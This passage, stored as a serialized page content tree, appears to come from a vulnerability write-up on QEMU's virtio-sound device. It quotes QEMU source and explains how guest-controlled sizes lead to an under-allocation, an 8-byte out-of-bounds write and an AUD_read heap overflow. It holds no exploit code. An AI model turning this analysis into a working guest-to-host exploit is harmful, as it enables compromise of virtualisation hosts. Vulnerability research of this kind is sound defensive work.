offset;\n",{"type":25,"tag":216,"props":128542,"children":128543},{"class":6916,"line":7238},[128544],{"type":25,"tag":216,"props":128545,"children":128546},{"style":6921},[128547],{"type":31,"value":128548},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":25,"tag":216,"props":128550,"children":128551},{"class":6916,"line":7251},[128552,128556],{"type":25,"tag":216,"props":128553,"children":128554},{"style":6930},[128555],{"type":31,"value":50435},{"type":25,"tag":216,"props":128557,"children":128558},{"style":6958},[128559],{"type":31,"value":128560}," populated;\n",{"type":25,"tag":216,"props":128562,"children":128563},{"class":6916,"line":7269},[128564,128568,128572,128577],{"type":25,"tag":216,"props":128565,"children":128566},{"style":6930},[128567],{"type":31,"value":62418},{"type":25,"tag":216,"props":128569,"children":128570},{"style":6958},[128571],{"type":31,"value":19056},{"type":25,"tag":216,"props":128573,"children":128574},{"style":6930},[128575],{"type":31,"value":128576},"[]",{"type":25,"tag":216,"props":128578,"children":128579},{"style":6958},[128580],{"type":31,"value":6961},{"type":25,"tag":216,"props":128582,"children":128583},{"class":6916,"line":7290},[128584],{"type":25,"tag":216,"props":128585,"children":128586},{"style":6958},[128587],{"type":31,"value":20530},{"type":25,"tag":38,"props":128589,"children":128590},{},[128591,128593,128599,128601,128606,128608,128613,128615,128620,128622,128627,128629,128635],{"type":31,"value":128592},"That under-allocation removes the ",{"type":25,"tag":82,"props":128594,"children":128596},{"className":128595},[],[128597],{"type":31,"value":128598},"populated",{"type":31,"value":128600}," field along with the variable-sized ",{"type":25,"tag":82,"props":128602,"children":128604},{"className":128603},[],[128605],{"type":31,"value":7663},{"type":31,"value":128607}," array. As the comment says, ",{"type":25,"tag":82,"props":128609,"children":128611},{"className":128610},[],[128612],{"type":31,"value":128598},{"type":31,"value":128614}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":25,"tag":82,"props":128616,"children":128618},{"className":128617},[],[128619],{"type":31,"value":184},{"type":31,"value":128621},", the device believes data should be ",{"type":25,"tag":82,"props":128623,"children":128625},{"className":128624},[],[128626],{"type":31,"value":184},{"type":31,"value":128628}," byte, while the actual allocation is ",{"type":25,"tag":82,"props":128630,"children":128632},{"className":128631},[],[128633],{"type":31,"value":128634},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":31,"value":179},{"type":25,"tag":631,"props":128637,"children":128639},{"id":128638},"populating-data-buffers",[128640],{"type":31,"value":128641},"Populating Data Buffers",{"type":25,"tag":38,"props":128643,"children":128644},{},[128645],{"type":31,"value":128646},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":25,"tag":206,"props":128648,"children":128650},{"code":128649,"language":2248,"meta":7,"className":20467,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[128651],{"type":25,"tag":82,"props":128652,"children":128653},{"__ignoreMap":7},[128654,128661,128669,128676,128684,128692,128699,128748,128755,128781,128798,128810,128817,128849,128894,128934,128941,128949,128956,128981,129009,129033,129041,129053,129091,129104,129116,129123,129169,129206,129249,129270,129290,129310,129321,129328,129351,129367,129375,129382,129389,129396],{"type":25,"tag":216,"props":128655,"children":128656},{"class":6916,"line":6917},[128657],{"type":25,"tag":216,"props":128658,"children":128659},{"style":6921},[128660],{"type":31,"value":53329},{"type":25,"tag":216,"props":128662,"children":128663},{"class":6916,"line":6763},[128664],{"type":25,"tag":216,"props":128665,"children":128666},{"style":6921},[128667],{"type":31,"value":128668}," * AUD_* input callback.\n",{"type":25,"tag":216,"props":128670,"children":128671},{"class":6916,"line":6772},[128672],{"type":25,"tag":216,"props":128673,"children":128674},{"style":6921},[128675],{"type":31,"value":23442},{"type":25,"tag":216,"props":128677,"children":128678},{"class":6916,"line":6999},[128679],{"type":25,"tag":216,"props":128680,"children":128681},{"style":6921},[128682],{"type":31,"value":128683}," * @data: VirtIOSoundPCMStream stream\n",{"type":25,"tag":216,"props":128685,"children":128686},{"class":6916,"line":7104},[128687],{"type":25,"tag":216,"props":128688,"children":128689},{"style":6921},[128690],{"type":31,"value":128691}," * @available: number of bytes that can be read with AUD_read()\n",{"type":25,"tag":216,"props":128693,"children":128694},{"class":6916,"line":7210},[128695],{"type":25,"tag":216,"props":128696,"children":128697},{"style":6921},[128698],{"type":31,"value":127754},{"type":25,"tag":216,"props":128700,"children":128701},{"class":6916,"line":7238},[128702,128706,128710,128715,128719,128723,128727,128731,128735,128739,128744],{"type":25,"tag":216,"props":128703,"children":128704},{"style":6930},[128705],{"type":31,"value":55007},{"type":25,"tag":216,"props":128707,"children":128708},{"style":6930},[128709],{"type":31,"value":55012},{"type":25,"tag":216,"props":128711,"children":128712},{"style":7041},[128713],{"type":31,"value":128714}," virtio_snd_pcm_in_cb",{"type":25,"tag":216,"props":128716,"children":128717},{"style":6958},[128718],{"type":31,"value":1844},{"type":25,"tag":216,"props":128720,"children":128721},{"style":6930},[128722],{"type":31,"value":55589},{"type":25,"tag":216,"props":128724,"children":128725},{"style":6947},[128726],{"type":31,"value":13767},{"type":25,"tag":216,"props":128728,"children":128729},{"style":6941},[128730],{"type":31,"value":7663},{"type":25,"tag":216,"props":128732,"children":128733},{"style":6958},[128734],{"type":31,"value":7020},{"type":25,"tag":216,"props":128736,"children":128737},{"style":6930},[128738],{"type":31,"value":23001},{"type":25,"tag":216,"props":128740,"children":128741},{"style":6941},[128742],{"type":31,"value":128743}," available",{"type":25,"tag":216,"props":128745,"children":128746},{"style":6958},[128747],{"type":31,"value":7101},{"type":25,"tag":216,"props":128749,"children":128750},{"class":6916,"line":7251},[128751],{"type":25,"tag":216,"props":128752,"children":128753},{"style":6958},[128754],{"type":31,"value":14830},{"type":25,"tag":216,"props":128756,"children":128757},{"class":6916,"line":7269},[128758,128763,128767,128772,128776],{"type":25,"tag":216,"props":128759,"children":128760},{"style":6958},[128761],{"type":31,"value":128762},"    VirtIOSoundPCMStream ",{"type":25,"tag":216,"props":128764,"children":128765},{"style":6947},[128766],{"type":31,"value":8513},{"type":25,"tag":216,"props":128768,"children":128769},{"style":6958},[128770],{"type":31,"value":128771},"stream ",{"type":25,"tag":216,"props":128773,"children":128774},{"style":6947},[128775],{"type":31,"value":266},{"type":25,"tag":216,"props":128777,"children":128778},{"style":6958},[128779],{"type":31,"value":128780}," data;\n",{"type":25,"tag":216,"props":128782,"children":128783},{"class":6916,"line":7290},[128784,128789,128793],{"type":25,"tag":216,"props":128785,"children":128786},{"style":6958},[128787],{"type":31,"value":128788},"    VirtIOSoundPCMBuffer ",{"type":25,"tag":216,"props":128790,"children":128791},{"style":6947},[128792],{"type":31,"value":8513},{"type":25,"tag":216,"props":128794,"children":128795},{"style":6958},[128796],{"type":31,"value":128797},"buffer;\n",{"type":25,"tag":216,"props":128799,"children":128800},{"class":6916,"line":7299},[128801,128805],{"type":25,"tag":216,"props":128802,"children":128803},{"style":6930},[128804],{"type":31,"value":20517},{"type":25,"tag":216,"props":128806,"children":128807},{"style":6958},[128808],{"type":31,"value":128809}," size, max_size;\n",{"type":25,"tag":216,"props":128811,"children":128812},{"class":6916,"line":7551},[128813],{"type":25,"tag":216,"props":128814,"children":128815},{"emptyLinePlaceholder":16},[128816],{"type":31,"value":7636},{"type":25,"tag":216,"props":128818,"children":128819},{"class":6916,"line":7568},[128820,128825,128829,128833,128837,128841,128845],{"type":25,"tag":216,"props":128821,"children":128822},{"style":7041},[128823],{"type":31,"value":128824},"    WITH_QEMU_LOCK_GUARD",{"type":25,"tag":216,"props":128826,"children":128827},{"style":6958},[128828],{"type":31,"value":1844},{"type":25,"tag":216,"props":128830,"children":128831},{"style":6947},[128832],{"type":31,"value":7053},{"type":25,"tag":216,"props":128834,"children":128835},{"style":6941},[128836],{"type":31,"value":40218},{"type":25,"tag":216,"props":128838,"children":128839},{"style":6958},[128840],{"type":31,"value":17708},{"type":25,"tag":216,"props":128842,"children":128843},{"style":6941},[128844],{"type":31,"value":128001},{"type":25,"tag":216,"props":128846,"children":128847},{"style":6958},[128848],{"type":31,"value":18755},{"type":25,"tag":216,"props":128850,"children":128851},{"class":6916,"line":7585},[128852,128857,128861,128865,128870,128874,128878,128882,128886,128890],{"type":25,"tag":216,"props":128853,"children":128854},{"style":6967},[128855],{"type":31,"value":128856},"        while",{"type":25,"tag":216,"props":128858,"children":128859},{"style":6958},[128860],{"type":31,"value":7010},{"type":25,"tag":216,"props":128862,"children":128863},{"style":6947},[128864],{"type":31,"value":24575},{"type":25,"tag":216,"props":128866,"children":128867},{"style":7041},[128868],{"type":31,"value":128869},"QSIMPLEQ_EMPTY",{"type":25,"tag":216,"props":128871,"children":128872},{"style":6958},[128873],{"type":31,"value":1844},{"type":25,"tag":216,"props":128875,"children":128876},{"style":6947},[128877],{"type":31,"value":7053},{"type":25,"tag":216,"props":128879,"children":128880},{"style":6941},[128881],{"type":31,"value":40218},{"type":25,"tag":216,"props":128883,"children":128884},{"style":6958},[128885],{"type":31,"value":17708},{"type":25,"tag":216,"props":128887,"children":128888},{"style":6941},[128889],{"type":31,"value":128254},{"type":25,"tag":216,"props":128891,"children":128892},{"style":6958},[128893],{"type":31,"value":39151},{"type":25,"tag":216,"props":128895,"children":128896},{"class":6916,"line":7598},[128897,128901,128905,128910,128914,128918,128922,128926,128930],{"type":25,"tag":216,"props":128898,"children":128899},{"style":6958},[128900],{"type":31,"value":128090},{"type":25,"tag":216,"props":128902,"children":128903},{"style":6947},[128904],{"type":31,"value":266},{"type":25,"tag":216,"props":128906,"children":128907},{"style":7041},[128908],{"type":31,"value":128909}," QSIMPLEQ_FIRST",{"type":25,"tag":216,"props":128911,"children":128912},{"style":6958},[128913],{"type":31,"value":1844},{"type":25,"tag":216,"props":128915,"children":128916},{"style":6947},[128917],{"type":31,"value":7053},{"type":25,"tag":216,"props":128919,"children":128920},{"style":6941},[128921],{"type":31,"value":40218},{"type":25,"tag":216,"props":128923,"children":128924},{"style":6958},[128925],{"type":31,"value":17708},{"type":25,"tag":216,"props":128927,"children":128928},{"style":6941},[128929],{"type":31,"value":128254},{"type":25,"tag":216,"props":128931,"children":128932},{"style":6958},[128933],{"type":31,"value":7791},{"type":25,"tag":216,"props":128935,"children":128936},{"class":6916,"line":7607},[128937],{"type":25,"tag":216,"props":128938,"children":128939},{"emptyLinePlaceholder":16},[128940],{"type":31,"value":7636},{"type":25,"tag":216,"props":128942,"children":128943},{"class":6916,"line":7630},[128944],{"type":25,"tag":216,"props":128945,"children":128946},{"style":6958},[128947],{"type":31,"value":128948},"            [...]\n",{"type":25,"tag":216,"props":128950,"children":128951},{"class":6916,"line":7639},[128952],{"type":25,"tag":216,"props":128953,"children":128954},{"emptyLinePlaceholder":16},[128955],{"type":31,"value":7636},{"type":25,"tag":216,"props":128957,"children":128958},{"class":6916,"line":7648},[128959,128964,128968,128972,128976],{"type":25,"tag":216,"props":128960,"children":128961},{"style":6958},[128962],{"type":31,"value":128963},"            max_size ",{"type":25,"tag":216,"props":128965,"children":128966},{"style":6947},[128967],{"type":31,"value":266},{"type":25,"tag":216,"props":128969,"children":128970},{"style":7041},[128971],{"type":31,"value":128022},{"type":25,"tag":216,"props":128973,"children":128974},{"style":6958},[128975],{"type":31,"value":1844},{"type":25,"tag":216,"props":128977,"children":128978},{"style":6921},[128979],{"type":31,"value":128980},"                    // [1]\n",{"type":25,"tag":216,"props":128982,"children":128983},{"class":6916,"line":7716},[128984,128989,128993,128997,129001,129005],{"type":25,"tag":216,"props":128985,"children":128986},{"style":6941},[128987],{"type":31,"value":128988},"                buffer",{"type":25,"tag":216,"props":128990,"children":128991},{"style":6958},[128992],{"type":31,"value":17708},{"type":25,"tag":216,"props":128994,"children":128995},{"style":6941},[128996],{"type":31,"value":56026},{"type":25,"tag":216,"props":128998,"children":128999},{"style":6958},[129000],{"type":31,"value":17708},{"type":25,"tag":216,"props":129002,"children":129003},{"style":6941},[129004],{"type":31,"value":128039},{"type":25,"tag":216,"props":129006,"children":129007},{"style":6958},[129008],{"type":31,"value":7459},{"type":25,"tag":216,"props":129010,"children":129011},{"class":6916,"line":7724},[129012,129016,129020,129024,129028],{"type":25,"tag":216,"props":129013,"children":129014},{"style":6941},[129015],{"type":31,"value":128988},{"type":25,"tag":216,"props":129017,"children":129018},{"style":6958},[129019],{"type":31,"value":17708},{"type":25,"tag":216,"props":129021,"children":129022},{"style":6941},[129023],{"type":31,"value":56026},{"type":25,"tag":216,"props":129025,"children":129026},{"style":6958},[129027],{"type":31,"value":17708},{"type":25,"tag":216,"props":129029,"children":129030},{"style":6941},[129031],{"type":31,"value":129032},"in_num\n",{"type":25,"tag":216,"props":129034,"children":129035},{"class":6916,"line":7754},[129036],{"type":25,"tag":216,"props":129037,"children":129038},{"style":6958},[129039],{"type":31,"value":129040},"            );\n",{"type":25,"tag":216,"props":129042,"children":129043},{"class":6916,"line":7762},[129044,129049],{"type":25,"tag":216,"props":129045,"children":129046},{"style":6967},[129047],{"type":31,"value":129048},"            for",{"type":25,"tag":216,"props":129050,"children":129051},{"style":6958},[129052],{"type":31,"value":127852},{"type":25,"tag":216,"props":129054,"children":129055},{"class":6916,"line":7794},[129056,129060,129064,129069,129073,129077,129081,129086],{"type":25,"tag":216,"props":129057,"children":129058},{"style":6967},[129059],{"type":31,"value":107472},{"type":25,"tag":216,"props":129061,"children":129062},{"style":6958},[129063],{"type":31,"value":7010},{"type":25,"tag":216,"props":129065,"children":129066},{"style":6941},[129067],{"type":31,"value":129068},"buffer",{"type":25,"tag":216,"props":129070,"children":129071},{"style":6958},[129072],{"type":31,"value":17708},{"type":25,"tag":216,"props":129074,"children":129075},{"style":6941},[129076],{"type":31,"value":128186},{"type":25,"tag":216,"props":129078,"children":129079},{"style":6947},[129080],{"type":31,"value":12248},{"type":25,"tag":216,"props":129082,"children":129083},{"style":6958},[129084],{"type":31,"value":129085}," max_size) {",{"type":25,"tag":216,"props":129087,"children":129088},{"style":6921},[129089],{"type":31,"value":129090},"     // [2]\n",{"type":25,"tag":216,"props":129092,"children":129093},{"class":6916,"line":7802},[129094,129099],{"type":25,"tag":216,"props":129095,"children":129096},{"style":7041},[129097],{"type":31,"value":129098},"                    return_rx_buffer",{"type":25,"tag":216,"props":129100,"children":129101},{"style":6958},[129102],{"type":31,"value":129103},"(stream, buffer);\n",{"type":25,"tag":216,"props":129105,"children":129106},{"class":6916,"line":7862},[129107,129112],{"type":25,"tag":216,"props":129108,"children":129109},{"style":6967},[129110],{"type":31,"value":129111},"                    break",{"type":25,"tag":216,"props":129113,"children":129114},{"style":6958},[129115],{"type":31,"value":6961},{"type":25,"tag":216,"props":129117,"children":129118},{"class":6916,"line":12995},[129119],{"type":25,"tag":216,"props":129120,"children":129121},{"style":6958},[129122],{"type":31,"value":75035},{"type":25,"tag":216,"props":129124,"children":129125},{"class":6916,"line":13013},[129126,129131,129135,129140,129144,129148,129152,129157,129161,129165],{"type":25,"tag":216,"props":129127,"children":129128},{"style":6958},[129129],{"type":31,"value":129130},"                size ",{"type":25,"tag":216,"props":129132,"children":129133},{"style":6947},[129134],{"type":31,"value":266},{"type":25,"tag":216,"props":129136,"children":129137},{"style":7041},[129138],{"type":31,"value":129139}," AUD_read",{"type":25,"tag":216,"props":129141,"children":129142},{"style":6958},[129143],{"type":31,"value":1844},{"type":25,"tag":216,"props":129145,"children":129146},{"style":6941},[129147],{"type":31,"value":40218},{"type":25,"tag":216,"props":129149,"children":129150},{"style":6958},[129151],{"type":31,"value":17708},{"type":25,"tag":216,"props":129153,"children":129154},{"style":6941},[129155],{"type":31,"value":129156},"voice",{"type":25,"tag":216,"props":129158,"children":129159},{"style":6958},[129160],{"type":31,"value":179},{"type":25,"tag":216,"props":129162,"children":129163},{"style":6941},[129164],{"type":31,"value":99450},{"type":25,"tag":216,"props":129166,"children":129167},{"style":6958},[129168],{"type":31,"value":7459},{"type":25,"tag":216,"props":129170,"children":129171},{"class":6916,"line":13058},[129172,129177,129181,129185,129189,129194,129198,129202],{"type":25,"tag":216,"props":129173,"children":129174},{"style":6941},[129175],{"type":31,"value":129176},"                        buffer",{"type":25,"tag":216,"props":129178,"children":129179},{"style":6958},[129180],{"type":31,"value":17708},{"type":25,"tag":216,"props":129182,"children":129183},{"style":6941},[129184],{"type":31,"value":7663},{"type":25,"tag":216,"props":129186,"children":129187},{"style":6947},[129188],{"type":31,"value":12852},{"type":25,"tag":216,"props":129190,"children":129191},{"style":6941},[129192],{"type":31,"value":129193}," buffer",{"type":25,"tag":216,"props":129195,"children":129196},{"style":6958},[129197],{"type":31,"value":17708},{"type":25,"tag":216,"props":129199,"children":129200},{"style":6941},[129201],{"type":31,"value":128186},{"type":25,"tag":216,"props":129203,"children":129204},{"style":6958},[129205],{"type":31,"value":7459},{"type":25,"tag":216,"props":129207,"children":129208},{"class":6916,"line":13164},[129209,129214,129219,129223,129227,129231,129235,129240,129244],{"type":25,"tag":216,"props":129210,"children":129211},{"style":7041},[129212],{"type":31,"value":129213},"                        MIN",{"type":25,"tag":216,"props":129215,"children":129216},{"style":6958},[129217],{"type":31,"value":129218},"(available, (",{"type":25,"tag":216,"props":129220,"children":129221},{"style":6941},[129222],{"type":31,"value":40218},{"type":25,"tag":216,"props":129224,"children":129225},{"style":6958},[129226],{"type":31,"value":17708},{"type":25,"tag":216,"props":129228,"children":129229},{"style":6941},[129230],{"type":31,"value":102234},{"type":25,"tag":216,"props":129232,"children":129233},{"style":6958},[129234],{"type":31,"value":179},{"type":25,"tag":216,"props":129236,"children":129237},{"style":6941},[129238],{"type":31,"value":129239},"period_bytes",{"type":25,"tag":216,"props":129241,"children":129242},{"style":6947},[129243],{"type":31,"value":55218},{"type":25,"tag":216,"props":129245,"children":129246},{"style":6921},[129247],{"type":31,"value":129248},"     // [3]\n",{"type":25,"tag":216,"props":129250,"children":129251},{"class":6916,"line":27449},[129252,129257,129261,129265],{"type":25,"tag":216,"props":129253,"children":129254},{"style":6941},[129255],{"type":31,"value":129256},"                                        buffer",{"type":25,"tag":216,"props":129258,"children":129259},{"style":6958},[129260],{"type":31,"value":17708},{"type":25,"tag":216,"props":129262,"children":129263},{"style":6941},[129264],{"type":31,"value":128186},{"type":25,"tag":216,"props":129266,"children":129267},{"style":6958},[129268],{"type":31,"value":129269},")));\n",{"type":25,"tag":216,"props":129271,"children":129272},{"class":6916,"line":27484},[129273,129277,129281,129285],{"type":25,"tag":216,"props":129274,"children":129275},{"style":6967},[129276],{"type":31,"value":107472},{"type":25,"tag":216,"props":129278,"children":129279},{"style":6958},[129280],{"type":31,"value":7010},{"type":25,"tag":216,"props":129282,"children":129283},{"style":6947},[129284],{"type":31,"value":24575},{"type":25,"tag":216,"props":129286,"children":129287},{"style":6958},[129288],{"type":31,"value":129289},"size) {\n",{"type":25,"tag":216,"props":129291,"children":129292},{"class":6916,"line":27492},[129293,129298,129302,129306],{"type":25,"tag":216,"props":129294,"children":129295},{"style":6958},[129296],{"type":31,"value":129297},"                    available ",{"type":25,"tag":216,"props":129299,"children":129300},{"style":6947},[129301],{"type":31,"value":266},{"type":25,"tag":216,"props":129303,"children":129304},{"style":6983},[129305],{"type":31,"value":6986},{"type":25,"tag":216,"props":129307,"children":129308},{"style":6958},[129309],{"type":31,"value":6961},{"type":25,"tag":216,"props":129311,"children":129312},{"class":6916,"line":27500},[129313,129317],{"type":25,"tag":216,"props":129314,"children":129315},{"style":6967},[129316],{"type":31,"value":129111},{"type":25,"tag":216,"props":129318,"children":129319},{"style":6958},[129320],{"type":31,"value":6961},{"type":25,"tag":216,"props":129322,"children":129323},{"class":6916,"line":27509},[129324],{"type":25,"tag":216,"props":129325,"children":129326},{"style":6958},[129327],{"type":31,"value":75035},{"type":25,"tag":216,"props":129329,"children":129330},{"class":6916,"line":27551},[129331,129335,129339,129343,129347],{"type":25,"tag":216,"props":129332,"children":129333},{"style":6941},[129334],{"type":31,"value":128988},{"type":25,"tag":216,"props":129336,"children":129337},{"style":6958},[129338],{"type":31,"value":17708},{"type":25,"tag":216,"props":129340,"children":129341},{"style":6941},[129342],{"type":31,"value":128186},{"type":25,"tag":216,"props":129344,"children":129345},{"style":6947},[129346],{"type":31,"value":19016},{"type":25,"tag":216,"props":129348,"children":129349},{"style":6958},[129350],{"type":31,"value":128528},{"type":25,"tag":216,"props":129352,"children":129353},{"class":6916,"line":27584},[129354,129359,129363],{"type":25,"tag":216,"props":129355,"children":129356},{"style":6958},[129357],{"type":31,"value":129358},"                available ",{"type":25,"tag":216,"props":129360,"children":129361},{"style":6947},[129362],{"type":31,"value":107937},{"type":25,"tag":216,"props":129364,"children":129365},{"style":6958},[129366],{"type":31,"value":128528},{"type":25,"tag":216,"props":129368,"children":129369},{"class":6916,"line":27592},[129370],{"type":25,"tag":216,"props":129371,"children":129372},{"style":6958},[129373],{"type":31,"value":129374},"                [...]\n",{"type":25,"tag":216,"props":129376,"children":129377},{"class":6916,"line":27600},[129378],{"type":25,"tag":216,"props":129379,"children":129380},{"style":6958},[129381],{"type":31,"value":62846},{"type":25,"tag":216,"props":129383,"children":129384},{"class":6916,"line":27609},[129385],{"type":25,"tag":216,"props":129386,"children":129387},{"style":6958},[129388],{"type":31,"value":7296},{"type":25,"tag":216,"props":129390,"children":129391},{"class":6916,"line":27685},[129392],{"type":25,"tag":216,"props":129393,"children":129394},{"style":6958},[129395],{"type":31,"value":7305},{"type":25,"tag":216,"props":129397,"children":129398},{"class":6916,"line":27718},[129399],{"type":25,"tag":216,"props":129400,"children":129401},{"style":6958},[129402],{"type":31,"value":7868},{"type":25,"tag":38,"props":129404,"children":129405},{},[129406,129407,129412,129413,129419,129421,129427,129429,129434,129435,129440,129442,129447],{"type":31,"value":128308},{"type":25,"tag":82,"props":129408,"children":129410},{"className":129409},[],[129411],{"type":31,"value":128314},{"type":31,"value":7020},{"type":25,"tag":82,"props":129414,"children":129416},{"className":129415},[],[129417],{"type":31,"value":129418},"max_size",{"type":31,"value":129420}," is set to ",{"type":25,"tag":82,"props":129422,"children":129424},{"className":129423},[],[129425],{"type":31,"value":129426},"iov_size(in_sg, in_num)",{"type":31,"value":129428},". Both ",{"type":25,"tag":82,"props":129430,"children":129432},{"className":129431},[],[129433],{"type":31,"value":128039},{"type":31,"value":1301},{"type":25,"tag":82,"props":129436,"children":129438},{"className":129437},[],[129439],{"type":31,"value":128056},{"type":31,"value":129441}," are the same guest-controlled fields from ",{"type":25,"tag":82,"props":129443,"children":129445},{"className":129444},[],[129446],{"type":31,"value":127691},{"type":31,"value":179},{"type":25,"tag":38,"props":129449,"children":129450},{},[129451,129453,129458,129460,129466,129468,129474,129476,129482],{"type":31,"value":129452},"Later, at ",{"type":25,"tag":82,"props":129454,"children":129456},{"className":129455},[],[129457],{"type":31,"value":128349},{"type":31,"value":129459},", the code checks whether ",{"type":25,"tag":82,"props":129461,"children":129463},{"className":129462},[],[129464],{"type":31,"value":129465},"buffer->size >= max_size",{"type":31,"value":129467},". In the RX path, ",{"type":25,"tag":82,"props":129469,"children":129471},{"className":129470},[],[129472],{"type":31,"value":129473},"buffer->size",{"type":31,"value":129475}," tracks how many bytes have been written into ",{"type":25,"tag":82,"props":129477,"children":129479},{"className":129478},[],[129480],{"type":31,"value":129481},"buffer->data",{"type":31,"value":129483},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":25,"tag":38,"props":129485,"children":129486},{},[129487,129489,129494,129496,129502,129504,129509,129511,129517],{"type":31,"value":129488},"However, this does not match the allocation logic in ",{"type":25,"tag":82,"props":129490,"children":129492},{"className":129491},[],[129493],{"type":31,"value":127691},{"type":31,"value":129495},", which used: ",{"type":25,"tag":82,"props":129497,"children":129499},{"className":129498},[],[129500],{"type":31,"value":129501},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":31,"value":129503},". In other words, the allocation subtracts ",{"type":25,"tag":82,"props":129505,"children":129507},{"className":129506},[],[129508],{"type":31,"value":128415},{"type":31,"value":129510},", but the later bound in ",{"type":25,"tag":82,"props":129512,"children":129514},{"className":129513},[],[129515],{"type":31,"value":129516},"virtio_snd_pcm_in_cb",{"type":31,"value":129518}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":25,"tag":38,"props":129520,"children":129521},{},[129522,129524,129529,129531,129537,129539,129545,129547,129552,129554,129560,129562,129568,129570,129575,129577,129582],{"type":31,"value":129523},"Finally, at ",{"type":25,"tag":82,"props":129525,"children":129527},{"className":129526},[],[129528],{"type":31,"value":128373},{"type":31,"value":129530},", the code calls ",{"type":25,"tag":82,"props":129532,"children":129534},{"className":129533},[],[129535],{"type":31,"value":129536},"AUD_read",{"type":31,"value":129538}," with the following limit:\n",{"type":25,"tag":82,"props":129540,"children":129542},{"className":129541},[],[129543],{"type":31,"value":129544},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":31,"value":129546},". Notice how this bound does not take ",{"type":25,"tag":82,"props":129548,"children":129550},{"className":129549},[],[129551],{"type":31,"value":129418},{"type":31,"value":129553}," into account at all. That means if ",{"type":25,"tag":82,"props":129555,"children":129557},{"className":129556},[],[129558],{"type":31,"value":129559},"available",{"type":31,"value":129561}," is larger than the allocated buffer, and ",{"type":25,"tag":82,"props":129563,"children":129565},{"className":129564},[],[129566],{"type":31,"value":129567},"stream->params.period_bytes",{"type":31,"value":129569}," is also larger than the allocated buffer, ",{"type":25,"tag":82,"props":129571,"children":129573},{"className":129572},[],[129574],{"type":31,"value":129536},{"type":31,"value":129576}," will write past the end of ",{"type":25,"tag":82,"props":129578,"children":129580},{"className":129579},[],[129581],{"type":31,"value":129481},{"type":31,"value":129583}," - the third, and final, bug we found.",{"type":25,"tag":38,"props":129585,"children":129586},{},[129587,129589,129594,129596,129602],{"type":31,"value":129588},"Looking further at the code, we can see that ",{"type":25,"tag":82,"props":129590,"children":129592},{"className":129591},[],[129593],{"type":31,"value":129567},{"type":31,"value":129595}," is fully guest-controlled by issuing a ",{"type":25,"tag":82,"props":129597,"children":129599},{"className":129598},[],[129600],{"type":31,"value":129601},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":31,"value":129603}," request:",{"type":25,"tag":206,"props":129605,"children":129607},{"code":129606,"language":2248,"meta":7,"className":20467,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[129608],{"type":25,"tag":82,"props":129609,"children":129610},{"__ignoreMap":7},[129611,129619,129648,129665,129685,129692,129709,129716,129723,129730,129752,129759,129766,129773,129819,129862,129906,129914,129951,129987,130023,130030,130047],{"type":25,"tag":216,"props":129612,"children":129613},{"class":6916,"line":6917},[129614],{"type":25,"tag":216,"props":129615,"children":129616},{"style":6930},[129617],{"type":31,"value":129618},"static\n",{"type":25,"tag":216,"props":129620,"children":129621},{"class":6916,"line":6763},[129622,129626,129631,129636,129640,129644],{"type":25,"tag":216,"props":129623,"children":129624},{"style":6930},[129625],{"type":31,"value":61895},{"type":25,"tag":216,"props":129627,"children":129628},{"style":7041},[129629],{"type":31,"value":129630}," virtio_snd_set_pcm_params",{"type":25,"tag":216,"props":129632,"children":129633},{"style":6958},[129634],{"type":31,"value":129635},"(VirtIOSound ",{"type":25,"tag":216,"props":129637,"children":129638},{"style":6947},[129639],{"type":31,"value":8513},{"type":25,"tag":216,"props":129641,"children":129642},{"style":6941},[129643],{"type":31,"value":3239},{"type":25,"tag":216,"props":129645,"children":129646},{"style":6958},[129647],{"type":31,"value":7459},{"type":25,"tag":216,"props":129649,"children":129650},{"class":6916,"line":6772},[129651,129656,129661],{"type":25,"tag":216,"props":129652,"children":129653},{"style":6930},[129654],{"type":31,"value":129655},"                                   uint32_t",{"type":25,"tag":216,"props":129657,"children":129658},{"style":6941},[129659],{"type":31,"value":129660}," stream_id",{"type":25,"tag":216,"props":129662,"children":129663},{"style":6958},[129664],{"type":31,"value":7459},{"type":25,"tag":216,"props":129666,"children":129667},{"class":6916,"line":6999},[129668,129673,129677,129681],{"type":25,"tag":216,"props":129669,"children":129670},{"style":6958},[129671],{"type":31,"value":129672},"                                   virtio_snd_pcm_set_params 